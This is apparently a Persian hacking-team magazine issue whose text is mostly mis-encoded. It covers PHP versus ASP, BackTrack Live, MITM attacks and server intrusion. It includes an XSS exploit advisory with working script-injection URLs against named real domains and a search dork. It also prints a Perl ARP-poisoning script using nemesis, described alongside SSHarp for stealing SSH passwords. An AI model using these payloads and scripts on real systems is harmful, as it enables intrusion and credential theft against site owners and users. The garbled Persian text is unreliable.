ظ ثٝ ٕٞیٗ زِیُ زضآٔس ثط٘بٔٝ ٘ٛیؿبٖ ای اؼ پی ثیكتط اؾت ٚ اظ َطفی ٔؼٕٛلا پٛضتبِٟبی ثعضي ثب ای اؼ پی ضاٜ ا٘ساظی ٔی قٛ٘س ٚ ثؿیبضی ا
اؼ پی ضاٜ ا٘ساظی ٌطزز، ثٙبثطایٗ ثبظاض وبض ای اؼ پی زض ٚيؼیت ثٟتطی ٘ؿجت ثٝ پی اچ پی قطوت ٞب ٚ ؾبظٔبٟ٘ب ٔبیّٙس ٚثؿبیتكبٖ ثب ظثبٖ ای 

 .لطاض زاضز. أب پی اچ پی ٞٓ ثسٖٚ ثبظاض ٘یؿت ٚ ٔكتطیبٖ ذبل ذٛز ضا زاضز

 ضت ضایٍبٖ یبزٌیطیثٝ زِیُ اٚپٗ ؾٛضؼ ثٛزٖ پی اچ پی ٚ زض زؾتطؼ ثٛزٖ ثؿیبضی اظ پطٚغٜ ٞب زض ایٙتط٘ت ثٝ نٛ  :ّصیٌِ ی یادگیسی 5

php اظ ٞعیٙٝ ی وٕتطی ثطذٛضزاض اؾت. 
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 ٍب سایت پی اچ پی تْتس است یا ای اس پی؟

زض ایٗ ظٔیٙٝ ٘ظطٞبی ٔرتّفی ٚجٛز زاضز وٝ اظ   :اهٌیت ٍتسایت 1

ٔٛضز ٘یبظ ثطای ٞط وساْ اظ ایٗ زٚ ٘ٛع  ٞبؾت ٟٕٔتطیٗ آٟ٘ب تفبٚت زض ٘ٛع

(. ٌطچٝ ایطازات أٙیتی ٔٛجٛز زض  ٞبؾت ٚیٙسٚظ یب ِیٙٛوؽ ظثبٖ اؾت )
ٚیٙسٚظ ٚ ای اؼ پی زیطتط وكف ٔی قٛ٘س ٚ تهٛض قٛز وٝ ثٝ ٕٞیٗ زِیُ 

یكتطی زاضز أب ثٝ زِیُ اٚپٗ ؾٛضؼ ثٛزٖ پی اچ پی ای اؼ پی أٙیت ث
ٔؼٕٛلا ٔكىلات أٙیتی ثب ؾطػت ثؿیبض ظیبزی وكف ٚ ضفغ ٔی ٌطز٘س. 
ثٙبثطایٗ ٔی تٛاٖ ٘تیجٝ ٌطفت وٝ ثٝ أٙیت پی اچ پی ٔی تٛاٖ ذٛقجیٗ تط 

 .ثٛز

ٔٛضز اؾتفبزٜ ٘یع ٔٛضز ثطؾی لطاض ٌیطز ثطای زیتبثیؿی ٔب٘ٙس  لجُ اظ ا٘تربة ظثبٖ ثط٘بٔٝ ٘ٛیؿی ٚة ؾبیت ثبیس ٘ٛع زیتبثیؽ  :ًَع پایگاُ دادُ 1

 .ثبیس اظ ای اؼ پی ثٟطٜ ثٍیطیس MS-SQL ٘یبظ اؾت اظ پی اچ پی ٚ اظ اظ زیتبثیؿٟبیی ٔب٘ٙس (MySQL) ٔبی اؾىیٛاَ

وٝ ضاثُٟبی ٌطافیىی ؾبزٜ تطی ٔی قٛ٘س اظ آ٘جب   زض ای اؼ پی اظ آ٘جب وٝ ضٚی ؾطٚضٞبی ٚیٙسٚظ ایجبز  :سسػت دز آهادُ ساشی پسٍضُ 3

 .ثطای ایجبز ٚثؿبیت ٚجٛز زاضز ٔی تٛاٖ ثب ؾطػت ثبلاتطی یه ٚثؿبیت ضا ضٚی آٟ٘ب ضاٜ ا٘ساظی ٕ٘ٛز

زض ؾبیت ٞبی ٘ٛقتٝ قسٜ ثب پی اچ پی ؾطػت ثبلاتط اؾت ظیطا وسٞبی پی اچ پی ثؿیبض ؾطیؼتط   :سایت (load) سسػت تازگرازی 4

 .پطزاظـ ٔی قٛ٘س

پی اچ پی ثٝ زِیُ ٔتٗ ثبظ ثٛزٖ تمطیجب ضایٍبٖ اؾت ٚ ٞعیٙٝ ی وٕی اظ ِحبِ ٘طٔبفعاضٞبی جب٘جی، ٘ٛع ٞبؾت ٔٛضز ٘یبظ   :ی زاُ اًداشیّصیٌِ  5

ظیبزی زض ایٗ ظثبٖ ثٝ َٛض ضایٍبٖ زض زؾتطؼ اؾت، زض حبِی وٝ زض ای اؼ پی ٚيغ  یزاضز، ٕٞچٙیٗ تبثغ ٞب ٚ اثعاضٞبی اظ پیف َطاحی قسٜ  …ٚ 

 .ضاٜ ا٘ساظی ؾبیت ثٝ ظثبٖ پی اچ پی ثؿیبض پبییٗ تط اظ ای اؼ پی ٔی ثبقس یٔتفبٚت اؾت. ثٙبثطایٗ ٞعیٙٝ  وبٔلا
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 أ
ٜٚ

ٌط
ه 

ٚ٘ی
تط

ِى
ٝ ا

ٙبٔ
بٞ

ٔ
_ 

ضٜ 
ٕب

ق
3 

_ 
از 

طز
ذ

 
بٜ 

ٔ
1
3
9
2

 

 هقالِ

       TehranHost . Edit : EST

 

http://www.emperor-team.org/
http://www.magazine.emperor-team.org/


 

 16 
 تٕبٔی حمٛق ایٗ ٔجّٝ ثطای تیٓ أٙیتی أپطاَٛض
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 وٝ نٛضتی ثٝ اؾت ٚ...( فّف زی، ٚی زی زی، ذبضجی)ؾی زضایٛ یه اظ ػبُٔ ؾیؿتٓ ضاٞٙساظی  (Live)ػبُٔ ؾیتٓ ظ٘سٜ اجطای

 اجطای زض .قٛز ٔی اجطا ؾیؿتٓ ضٚی ثط زیؿه ٞبضز ثٝ ٘یبظ ثسٖٚ ٚ قٛز ٔی ثبضٌعاضی  (RAM)انّی حبفظٝ ثٝ ػبُٔ ؾیؿتٓ

 ضا ذٛز ؾرت زیؿه ٞبی پبضتیكٗ ایٙىٝ ٍٔط قٛز ٕ٘ی ایجبز قٕب اَلاػبت زض تغییطی ٞیچ (Backtrack Linux) ثىتطن لایٛ

 .وٙیس ایجبز تغییط آٟ٘ب زض ذٛز ٚ وطزٜ  (mount)ثبضٌعاضی

 زض وٙیس ضایت  DVDیه ضٚی ثط ضا آٖ (ISO)ایٕیج  فبیُ یه نٛضت ثٝ ثىتطن زاّ٘ٛز اظ ثؼس  backtrackظ٘سٜ اجطای ثطای

Rom -DVD ٓقٛیس ٔی ضٚثطٚ ظیط تهٛیط ٔكبثٝ ٔٙٛی ثب ؾپؽ.وٙیس ضٚقٗ ضا ؾیؿتٓ ٚ زٞیس لطاض ذٛز ؾیؿت: 
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ثىتطن ضا ثسٖٚ ضاٞٙساظی اتٛٔبتیه قجىٝ ضاٞٙساظی ٔی وٙس تب زض نٛضتی وٝ لهس زاضیس ٌعیٙٝ اَٚ قٕب ضا ٚاضز ذٍ فطٔبٖ ثىتطن ٔیىٙس. ٌعیٙٝ زْٚ 
ثسٖٚ قٙبؾبیی قسٖ قجىٝ ذبنی ضا آ٘بِیع وٙیس ثٝ ٔحى قطٚع ؾیؿتٓ ػبُٔ قٕب زض ِٛي ؾطٚض ثجت ٘كٛیس. ثمیٝ ٌعیٙٝ ٞب ثطای ذُبیبثی ثىتطن 

 اظ ثٛت ثىتطن نطف ٘ظط وطزٜ ٚ ؾیؿتٓ اظ ٞبضز زیؿه ثٛت ٔی قٛز. ضا ثب تٙظیٕبت ٔرتّف اجطا ٔیىٙٙس. ثب اجطی ٌعیٙٝ آذط ٞٓ

ٚ ضٔع  rootثب اجطای ٌعیٙٝ اَٚ قٕب ٔؿتمیٕبً ٚاضز ذٍ فطٔبٖ ثىتطن ٔی قٛیس. ٕٞبُ٘ٛض وٝ زض ؾٛالات ضایج زض ثه تطن ٌفتٓ ٘بْ وبضثطی انّی 
اؾت. اِجتٝ زض نٛضتی وٝ قٕب پبضتیكٗ ِیٙٛوؽ ضٚی ٞبضز زیؿه ٞبی ذٛز ٘ساقتٝ ثبقیس اظ قٕب ؾٛاِی ٕ٘یكٛز ٚ ٔؿتمیٕبً ٚاضز ایٗ  toorػجٛض آٖ 

 نفحٝ ٔی قٛیس:

 

 

 

 

 

 

 

 

 

 ثطای ٚضٚز ثٝ ٔحیٍ ٌطافیىی ثىتطن فطٔبٖ ظیط ضا ٚاضز وٙیس

 
 

 GNOMEیب  KDEثب اجطای ایٗ فطٔبٖ یىی اظ ٔحیٍ ٞبی ٌطافیىی 
 ثؿتٝ ثٝ ا٘تربة قٕب زض زاّ٘ٛز ثىتطن ثٝ ٕ٘بیف زض ٔی آیس.

ی ٔ ٕ٘بیف ضا  RC1 ۵زض ثىتطن  KDEتهٛیط ظیط ٔحیٍ ٌطافیىی 
 زٞس.
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ثطای ٔكبٞسٜ زیٍط ثبي ٞبی وكف قسٜ 
تٛؾٍ ٌطٜٚ أٙیتی أپطاَٛض وبفیؿت ثٝ 
تٟٙب ا٘جٕٗ ایٗ ٌطٜٚ ضفتٝ ٚ زض لؿٕت 

ثبي ٞبی وكف قسٜ تٛؾٍ "جؿتجٛ 
 .ضا جؿتجٛ وٙیس "ٌطٜٚ أپطاَٛض

 ّای کطف ضدُ یکی اش تاگ
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################################################################ 

#                                                                                                                             # 

# Exploit Title : Grady Levkov Cross-Site Scripting Vulnerabilitiy                     # 

#                                                                                                                             # 

# Author        : Emperor-Team                                                                               # 

#                                                                                                                             # 

# Discovered By : Am!r                                                                                         # 

#                                                                                                                             # 

# Home          : http://Emperor-Team.Org                                                             # 

#                                                                                                                             # 

# Software Link : http://gradylevkov.com                                                            # 

#                                                                                                                             # 

# Security Risk : High                                                                                            # 

#                                                                                                                             # 

# Version       : All Version                                                                                    # 

#                                                                                                                             # 

# Tested on     : GNU/Linux Ubuntu - Windows Server - win7                           # 

#                                                                                                                             # 

#  Dork : "Grady Levkov & Company"                                                                # 

#                                                                                                                             # 

################################################################ 

#                                                                                                                             # 

#  Expl0iTs :                                                                                                          # 

#                                                                                                                             # 

#  [TarGeT]/view-search.php?id=[Xss]                                                                  # 

#                                                                                                                             # 

################################################################ 

#                                                                                                                             # 

#  Demo:                                                                                                                # 

#                                                                                                                             # 

#  glcompany.com/view-search.php?id=467"><script>alert(/amir/)</script>      # 

#                                                                                                                             # 

#  gradylevkov.com/view-search.php?id=262"><script>alert(/amir/)</script>   # 

#                                                                                                                             # 

################################################################ 

#                                                                                                                              # 

# SP TNX : Mr.F@RDIN . kalkal-hacking . Crim3R . H@DI . joker_s . R         # 

#                                                                                                                             # 

#                hidden dagger . SopelBoy    , AMIR ERRO                                        # 

#                                                                                                                              # 

################################################################ 

h
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اؾت. ٘فٛشٌط ثیٗ زٚ َطف اضتجبٌ لطاض ٔی ٌیطز ٚ  ( ضٚـ ظیطوب٘ٝ ای ثطای فبئك آٔسٖ ثط ضٔع ٍ٘بضیMan In the Middle) MIMه حّٕٝ ی
 ٞط یه اظ َطفیٗ ٌٕبٖ ٔی وٙس وٝ ثب َطف زیٍط )ٚ ٘ٝ ٘فٛشٌط( زض اضتجبٌ اؾت , زضحبِیىٝ ٞط زٚی آٟ٘ب ثب ٘فٛشٌط زض اضتجبٌ ٞؿتٙس.

ع ٘بٔتمبضٖ ٔٙتمُ ٔی قٛز. ٔؼٕٛلا ایٗ وّیس ٍٞٙبٔی وٝ یه اضتجبٌ ضٔعی ثیٗ زٚ َطف ثط لطاض اؾت , یه وّیس ٔحطٔب٘ٝ تِٛیس قسٜ ٚ ثٛؾیّٝ یه ضٔ
ایٕٗ  ثطای ضٔع ٍ٘بضی اضتجبَبت آتی ثیٗ زٚ َطف اؾتفبزٜ ٔی قٛز. چٖٛ وّیس ثهٛضت ٔحطٔب٘ٝ ٔٙتمُ ٔی قٛز ٚ تطافیه ثؼس اظ آٖ تٛؾٍ ایٗ وّیس ,

 ذٛاٞس ثٛز. ٔی قٛز. ِصا تٕبْ تطافیه ثطای ٘فٛشٌطی وٝ ایٗ ثؿتٝ ٞب ضا اؾتطاق وطزٜ ثبقس غیط لبثُ فٟٓ

 

 

 

 

 

 

 

 

 

 

, أب زض ػُٕ ٞط زٚ ثب ٘فٛشٌط زض  A٘یع ٌٕبٖ ٔی وٙس ثب  Bزض اضتجبٌ اؾت ٚ َطف  Bٌٕبٖ ٔی وٙس ثب  A, َطف  MIMثٝ ٞط حبَ زض یه حّٕٝ 
ٌفتٍٛ ٔی وٙس , زض حمیمت یه اضتجبٌ ضٔع قسٜ ضا ثطای ٘فٛشٌط ثبظ ٔی وٙس, یؼٙی  B, ثب یه اضتجبٌ ضٔع قسٜ ثب  Aاضتجبٌ ٞؿتٙس. ثٙبثطایٗ ٍٞٙبٔی وٝ 

ٌط اضتجبٌ ضٔع قسٜ ش٘فٛشٌط ثُٛض ٔحطٔب٘ٝ ثب یه ضٔع ٘ب ٔتمبضٖ اضتجبٌ ثطلطاض وطزٜ ٚ وّیس ٔحطٔب٘ٝ ضا ٔی فٟٕس. زض لسْ ثؼس تٟٙب ٘یبظ اؾت وٝ ٘فٛ
 زض حبَ اضتجبٌ اؾت. ایٗ ٔؿئّٝ زض تهٛیط ظیط ٘كبٖ زازٜ قسٜ اؾت : Aٖ ٔی ثطز وٝ ثب ٘یع ٌٕب Bثطلطاض وٙس. ثٝ ایٗ تطتیت  Bزیٍطی ثب 

ثب اِٚیٗ وّیس ضٔع ٚ ثٝ  Aثٝ ایٗ نٛضت ٘فٛشٌط ػٕلازٚ وب٘بَ اضتجبَی ضٔع قسٜ ٔجعا ضا ثب زٚ وّیس ضٔع ٍ٘بضی ٔجعا ثطلطاض ٔی ؾبظز. ثؿتٝ ٞب اظ 
اضؾبَ قسٜ ا٘س (. ؾپؽ ٘فٛشٌط ایٗ ثؿتٝ ٞب ضا ثب اِٚیٗ وّیس ضٔع ٌكبیی وطزٜ ٚ  Bثؿتٝ ٞب ثٝ  ٌٕبٖ ٔی وٙس وٝ ایٗ A٘فٛشٌط اضؾبَ ٔی قٛ٘س ) 

 Aٌٕبٖ ٔی وٙس وٝ ایٗ ثؿتٝ ٞب اظ  Bاضؾبَ ٔی زاضز )  Bٔجسزا آٖ ضا ثب وّیس زْٚ ضٔع ٍ٘بضی ٔی وٙس. ؾپؽ ایٗ ثؿتٝ ٞبی ضٔع قسٜ جسیس ضا ثٝ 
ٚ َطف ٚ ایجبز زٚ وّیس ٔجعا, ثسٖٚ آٌبٞی زٚ َطف اظ ایٗ ٔؿئّٝ ٘فٛشٌط لبزض ثٝ اؾتطاق ٚ حتی زؾتىبضی اضؾبَ قسٜ ا٘س(. ثب لطاض ٌطفتٗ زض ثیٗ ز

 تطافیه ثیٗ زٚ َطف ذٛاٞس ثٛز.
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ی ثبقســـفِٛ ٔــــــبٖ آٖ ٔحـــسٌـٚ ٘ٛیؿٙ  

www.Emperor-Team.org 

    هجلِ تین اهٌیتی اهپساطَز

ُ ســــــــــَمضواز  

1392اُ ـــــه خسداد  

 

www.Magazine.Emperor-Team.org 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 ثىبض ٔی ضٚز ا٘جبْ زاز : ARP Redirectionتٕبْ ایٗ فطایٙس ضا ٔی تٛاٖ ثب اؾىطیپت پطَ وٝ ثطای 
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 أ
ٜٚ

ٌط
ه 

ٚ٘ی
تط

ِى
ٝ ا

ٙبٔ
بٞ

ٔ
_ 

ضٜ 
ٕب

ق
3 

_ 
از 

طز
ذ

 
بٜ 

ٔ
1
3
9
2

 

 هقالِ

# ARPredirection.pl 

#!/usr/bin/perl 

# 
# Emperor Security Team (EST) 

# 
# http://Emperor-Team.Org 

# http://Magazine.Emperor-Team.Org 

 
$device = "eth0"; 

 
$SIG{INT} = \&cleanup; # Trap for Ctrl-c, and send to cleanup 

$flag = 1; 

$gw = shift;           # First command line arg 

$targ = shift;         # Second command line arg 

 
if (($gw . "." . $targ) !~ /^([0-9] {1,3}\.) {7} [0-9] {1,3}$/) 

  {     # Perform input validation; if bad, exit. 

 die("Usage: arpredirection.pl <gateway> <target>\n"); 

  } 
 
# Quickly ping each target to put the MAC addresses in cache 

print "Pinging $gw and $targ to retrieve MAC addresses...\n"; 

system("ping -q -c 1 -w 1 $gw > /dev/null"); 

system("ping -q -c 1 -w 1 $targ > /dev/null");  
 
# Pull those addresses from the arp cache print "Retrieving MAC addresses from arp cache...\n"; 

 $gw_mac = qx[/sbin/arp -na $gw]; 

 $gw_mac = substr($gw_mac, index($gw_mac, ":")-2, 17); 

 $targ_mac = qx[/sbin/arp -na $targ]; 

 $targ_mac = substr($targ_mac, index($targ_mac, ":")-2, 17);   

# If they're not both there, exit.  

if($gw_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/) 

 { 
   die("MAC address of $gw not found.\n"); 

 }   
if($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/) 

 { 
   die("MAC address of $targ not found.\n"); 

 } 

 

# Get your IP and MAC print "Retrieving your IP and MAC info from ifconfig...\n"; 

 @ifconf = split(" ", qx[/sbin/ifconfig $device]); 

 $me = substr(@ifconf[6], 5); $me_mac = @ifconf[4]; 
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ا٘جبْ زاز. پیطٚ جٛاظ ایٗ ثؿتٝ ٕ٘ی تٛاٖ آٖ ضا تٛظیغ وطز. أب ٔی تٛاٖ  SSHarp, ثٝ ٘بْ  OpenSSHٚ ٔی تٛاٖ یه ثؿتٝ ی زؾتىبضی قسٜ 
تٕبْ اضتجبَبت ضا ٔی پصیطز. ؾپؽ تٕبْ آٟ٘ب ضا ثٝ  ssharpd, یؼٙی  ssharpیبفت. زیٕٗ  http://stealth.7350.orgایٗ ثؿتٝ ضا زض آزضؼ 

یب ٞسایت وطزٖ تطافیه  redirectثٝ ٔٙظٛض  ip filteringػس , لٛا ssharpdٔمهس حمیمی, پطاوؿی ٔی وٙس. ثٝ ٍٞٙبْ اجطای  ipآزضؼ 
ٚ  192.164.0.118تطافیه ثیٗ  ARP Redirectionاؾتفبزٜ ٔی قٛ٘س. ؾپؽ اؾىطیپت  1337ثٝ پٛضت  23ثب پٛضت ٔمهس  sshاضتجبٌ 

ظیط ذطٚجی ایٗ ٔبقیٗ ٞب ضا ٔی ٌصضز. زض تهٛیط  192.164.0193ضا ٞسایت ٔی وٙس ثُٛضیىٝ ایٗ تطافیه اظ ٔبقیٗ  192.164.0.189
 ٔكبٞسٜ ٔی وٙیس :
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print "[*] Gateway: $gw is at $gw_mac\n"; 

 print "[*] Target: $targ is at $targ_mac\n"; 

 print "[*] You:    $me is at $me_mac\n"; while($flag) 

 { 
  # Continue poisoning until ctrl-C  print "Redirecting: $gw -> $me_mac <- $targ"; 

  system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H  $me_mac -M $targ_mac"); 

  system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H  $me_mac -M $gw_mac"); 

  sleep 10; 

 }   
sub cleanup 

 { 
  # Put things back to normal  $flag = 0; 

  print "Ctrl-C caught, exiting cleanly.\nPutting arp caches back to normal."; 

  system("nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac -H  $gw_mac -M $targ_mac"); 

  system("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac -H  $targ_mac -M $gw_mac");  
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 ثبظ اؾت. 192.164.0.189ٚ  192.164.0.118   ثیٗ sshثط لطاض اؾت. یه اضتجبٌ  (Redirection)بزأی وٝ ایٗ تغییط جٟت یب ٞسایت ٔ
 

 

 

 

 

 

 ٔٛاضز ظیط ضخ زازٜ ا٘س : 192.164.0.193ثب آزضؼ  overdosضتجبٌ ایٕٗ ثٙظط ٔی ضؾس. أب ثط ضٚی ٔبقیٗ ا
 

 

 

 

 

ثٝ ػٙٛاٖ یه پطاوؿی ٔی تٛاٖ پؿٛضز  192.164.0.193٘یع ٞسایت قسٜ ثٛز, ثب ػُٕ وطزٖ  (authentication)چٖٛ , ػّٕیبت اػتجبضؾٙجی 
 ضا ٘یع اؾتطاق وطز.

ثب زض٘ظط زاقتٗ   ssl ٚsshٟٔبضت ٘فٛشٌط زض ٔؼطفی وطزٖ ذٛز ثؼٙٛاٖ َطف ٔمبثُ, ٔؿئّٝ ای اؾتىٝ ایٗ ٘ٛع حٕلات ضا ٕٔىٗ ٔی ؾبظز. وبضثطزٞبی 
ثٝ  (host fingerprint)اظ اثطات اٍ٘كت ٔیعثبٖ  sshاظ ٌٛاٞیٙبٔٝ ٞب ٚ  Sslبتی ضا زضثطاثط جؼُ ٞٛیت زاض٘س. ایٗ ٔؿئّٝ َطاحی قس٘س ٚ ٔحبفظ

لهس ثطلطاضی یه وب٘بَ اضتجبَی ضٔع  Aٔٙظٛض تؼییٗ اػتجبض ٞٛیت اؾتفبزٜ ٔی وٙس. اٌط ٘فٛشٌط ٌٛاٞیٙبٔٝ ی نحیح ضا ٘ساقتٝ ثبقس یب ٍٞٙبٔی وٝ 
ثب یه اذُبض اظ ایٗ  A, آٍ٘بٜ أًب ٞبی زیجیتبِی ثب ٞٓ ُٔٙجك ٘جٛزٜ ٚ  (fingerprint)اٍ٘كت ٍ٘بضی وٙس  Bفٛشٌط ثطای قسٜ ضا ثب ٘فٛشٌط زاضز. ٘
 ٔٛيٛع ُّٔغ ٔی قٛز.
اضتجبٌ ٘ساقتٝ اؾت, ِصا ٞیچ اثط اٍ٘كت ٔیعثبٖ زض ٔحفٛظبت آٖ ٚجٛز  Tetsuoثب ٔبقیٗ  sshلجلا ٞطٌع اظ َطیك  Euclidزض ٔثبَ لجّی ٔبقیٗ 

(. اٌط ایٗ ٔؿئّٝ ٚجٛز ٘ساقت ٚ ٔبقیٗ Tetsuoثٛزٜ اؾت )٘ٝ  overdose٘ساقت. اثط اٍ٘كت ٔیعثب٘ی وٝ لجلا پصیطفتٝ قسٜ  ثٛز ٔطثٌٛ ثٝ ٔبقیٗ 
Euclid  ٗیه اثط اٍ٘كت ٔیعثبٖ ثطای ٔبقیTetsuo ریم زازٜ ٔی قس ٚ وبضثط ثب اذُبض ٔكىٛن ظیط ثطذٛضز ٔی ٕ٘ٛز :زاقت, تٕبْ حّٕٝ تك 
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تب ظٔب٘ی وٝ اثط اٍ٘كت لسیٕی ٔیعثبٖ حصف ٘كسٜ ثبقس, وبضثط ضا اظ اضتجبٌ ٔٙغ ٔی وٙس. ثب ایٗ حبَ ثؿیبضی اظ ولایٙت ٞبی  OpenSSHلایٙت 
Windows SSH  اجطای لٛا٘یٗ ٔحىٓ ٚ قسیس ایٗ چٙیٙی ضا ٘ساض٘س ٚ وبضثط ضا تٟٙب ثب یه جؼجٝ ؾبزٜ ٔب٘ٙس ,"Are you sure you want to 

continue"  زٞٙس. یه وبضثط ثی اَلاع ٕٔىٗ اؾت زض پبؾد ثٝ ایٗ جؼجٝ ی پیبْ, ٌعیٙٝ ی ٔثجت ضا ا٘تربة وٙس.اذُبض ٔی 
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ٌبٞی ٞٓ قبٞس ٞؿتیٓ وٝ أٙیت ٚالغ قسٜ ثٝ ٘ظط ػّْٛ أٙیتی وبٔلا تبییس  أطٚظٜ قبٞس ٞؿتیٓ وٝ اوثط ٚثؿبیت ٞب ثٝ ٞط ٘حٛی زچبض ٘فٛش ٔیكٛ٘س،

 ِٚی ثبظ ٞٓ قبٞس ٘فٛش زض ٚثؿبیت ٞب ٞؿتیٓ. قسٜ ٔی ثبقس.

اتفبلبت ثیٙف زاقتٝ ثبقیٓ. وٝ فطيب ؾطٚض، ؾیؿتٓ یب ولایٙتی وٝ ٔٛضز ٘فٛش لطاض ٔیٍیطٜ ٘حٜٛ ٞبی ٘فٛش ثٝ چٝ قىّی ثبیس ثٝ َٛض وبٔلا ٚؾیغ ثٝ ایٗ 

 ثٛزٜ اغّت ثبي ٞبی ٔٛجٛز زض ؾیؿتٓ ٞب اظ ٔسیطیت ٚة ٞب ٌطفتٝ پطتبَ ٞب ٚ ٕٞچٙیٗ ؾطٚضٞب ,  ثیكتط ثحثٓ ثط ضٚی ٘فٛش ثٝ ضٚی ٚثؿبیت ٞب

 ٔیجبقس.

ضؾیؿتٓ ٞب ٔسیطیت ٔحتٛا اغّت ثیكتطیٗ يطثبت ضٚ ثٝ اَلاػبت زاض٘سٌبٖ ٚثؿبیت ٚاضز ذٛاٞس وطز، وٝ ٔتبؾفب٘ٝ زض وكٛض ٔب ایٗ ثبي ٞبی ٔٛجٛز ز

 ٘ٛع  ٔكىلات ثٝ ٚفٛض زیسٜ ٔیكٛز.

سیطیتی وٝ ثط ضٚی ٘ظط ٔٗ ثٝ ػٙٛاٖ ٔسیط یه تیٓ أٙیتی ثٝ ػعیعا٘ی وٝ ؾؼی زض زاقتٗ ٚثؿبیت زاض٘س ایٗ ٞؿت وٝ افطاز ٕٞیكٝ ؾیؿتٓ ٞبی ٔ

 ؾطٚض ٘هت ٔیىٙٙس اظ پكتیجب٘ی ٞبی ٔؼتجط زاّ٘ٛز ٕ٘بیٙس ٚ حتٕب اظ ٞبؾتیًٙ ٞبی ٔؼتجط ٞبؾت ضا ؾطٚض ذطیساضی وٙٙس.

%  ٘فٛش ثٝ یه ؾیؿتٓ ٔسیطیت ٚة اظ ؾطٚض ٞؿت. ظٔب٘یىٝ ؾطٚض زچبض ٔكىُ أٙیتی ثبقس ٚ ٔحسٚزیت فب٘ىكٗ ٞب زض ؾطٚض ضػبیت ٘كٛز، ٚ 70

 ض ثٝ زضؾتی اػٕبَ ٘كٛز ُٕٔئٙب ؾبیت ٞبیی وٝ تٛؾٍ اٖ ؾطٚض پكتیجب٘ی ٔیكٛ٘س زض أٗ ٘رٛٞٙس ثٛز.وب٘فیً ؾطٚ

ظٔب٘ی وٝ اظ ؾیؿتٓ قٕب حفطٜ ای ثطای ٘فٛش پیسا ٘ىطز ثٝ ؾبیت ٞبی زیٍط وٝ  وٙس، چطا وٝ ٞىط ٕٞیكٝ ثطای تبضٌت ذٛز قٕب ضٚ ٞسف ٌیطی ٕ٘ی

وٝ ؾؼی ٔیىٙٓ (ش ٚ اظ َطیك زازٖ زؾتٛضات ٔٛضز اؾتفبزٜ زض ٞىیًٙ ٚ ٘فٛش ثٝ ؾطٚض ثٝ ٞط ضٚـ ذبل تٛؾٍ ؾطٚض قٕب آٖ ضا پكتیجب٘ی ٔی وٙس ٘فٛ

ٚ ثب اؾتفبزٜ اظ ضٚـ ٞبی ذٛز ؾؼی زض ثسؾت ٌطفتٗ  وٙس تلاـ زض ضؾیسٖ ثٝ ٚثؿبیت ٞبی ٔٛضز ٘ظطـ ثط ضٚی ؾطٚض ٔی ،)ٚاضز جعئیبت ٘كْٛ

ٞىط اظ ضٚـ ٞبی ٌٛ٘بٌٖٛ ثطای  وٙس. تلاـ ٔی زٖ یٛظض ٚ پؿٛضز ٚة ؾبیتی وٝ زض ؾط زاضزثطای ثسؾت آٚض ٔسیطیت ؾطٚض ثٝ ٞط ٘ٛػی وطزٜ ٚ 

ضؾیسٖ ثٝ یٛظض ٔٛضز ٘ظط زض آٖ ٚثؿبیت اؾتفبزٜ وطزٜ ٚ اٌط ٔٛفك ثٝ زضیبفت ٔسیطیت انّی ؾطٚض یب ثٝ انُلاح )ضٚت( ٘كس اظ ٔتٛز ٞبی 

 ؾطٚضٞىیًٙ ٔب٘ٙس :  

Symlink ؾطٚض ٔٛجت ذٛا٘سٖ فبیُ ٞبی ٚثؿبیت ٞبی ضٚی ؾطٚض ٔیكٛز.  ض زایطوتٛضی ٞبی ٚ ٌبٞی ٞٓ ثٝ ػّت ٘ب أٙی ز 
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ٞىط ثبلاتطیٗ زؾتطؾی ضا اظ یٛظضٞب ذٛاٞس زاقت ٚ تٛاٖ ذٛا٘سٖ فبیُ وب٘فیً ٚثؿبیت  symlinkٚ أب زض ضٚـ  open dirذت ایٗ اظ ضٚـ 

 ز.ضا زاضا ٔی ثبقس, ٚ ثب ذٛا٘سٖ ٚ اتهبَ ثٝ زیتبثیؽ ٚ تغییط پؿٛضز ازٔیٗ ٔی تٛا٘س ثٝ تبضٌت ٔطثَٛٝ ٘فٛش وطزٜ ٚ ٚاضز پُٙ ٔٛضز ٘ظط قٛ

وٝ اٌط پُٙ  حبَ ثطای آٌبٞی ٚ زٚض ظزٖ پیكٟٙبزی وٝ  ٔیكٝ ایٗ ٞؿت

ازٔیٗ زاضای زایطوتٛضی ٔی ثبقس حتٕب پؿٛضز زایطوتٛضی ثط ضٚی پٛقٝ 

ازٔیٗ ٌصاقتٝ تب جّٛی ٚضٚز ثٝ پُٙ ٌطفتٝ قٛز حتی ٔیتٛا٘س زؾتطؾی ای 

 پی زٞیس تب ثب ای پی ذبنی وب٘ىت ٌطزز.
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بی ؾبزٜ ذٛة ایٗ ضٚ ٞٓ وٕی تٛيیح زازْ تب ثطای ػلالٝ ٔٙساٖ ضٚقٗ قٛز، ذٛة ایٙٓ اظ ؾطٚض وٝ ٔرتهطا ثٝ چٙس ضاٜ اقبضٜ وطزْ . اِجتٝ ایٗ ضاٜ ٞ
 ثٛز وٝ زض ؾُٛح پیكطفتٝ تط ٞٓ لبثُ ذٛزٕ٘بیی ٔی ثبقس.

ذٛزآٌبٞی ٞبی لاظْ زض ٔمبثّٝ ثب ٘فٛش ٞىطاٖ وٝ چٝ ضٚـ ٞبیی ضا پیف ثٍیط٘س، ٚ زٚثبضٜ ٔتصوط ٔیكْٛ ذسٔت ػعیعاٖ حبَ زض ٌطٜٚ أٙیتی أپطاَٛض 

 زض ایٙجب ذلانٝ ٚاض ٚ ٔفیس تٛيیح زازْ .

 % :70ضسٍط داضتي یک ٍتسایت سالن ٍ دز اهاى تَدى دز سطح 

 لایؿٙؽ ٚ ٔهطف ٘ىطزٖ اظ ٘ؿربت ٘بَ قسٜ.٘هت آذطیٗ ٘ؿرٝ اظ ؾیؿتٓ ٔسیطیت ٚة زض نٛضت زاقتٗ لایؿٙؽ اؾتفبزٜ اظ .1

 پكتیجب٘ی ٞبؾت ٚ ؾطٚض اظ پكتیجب٘ی ٞبی ٔؼتجط..2

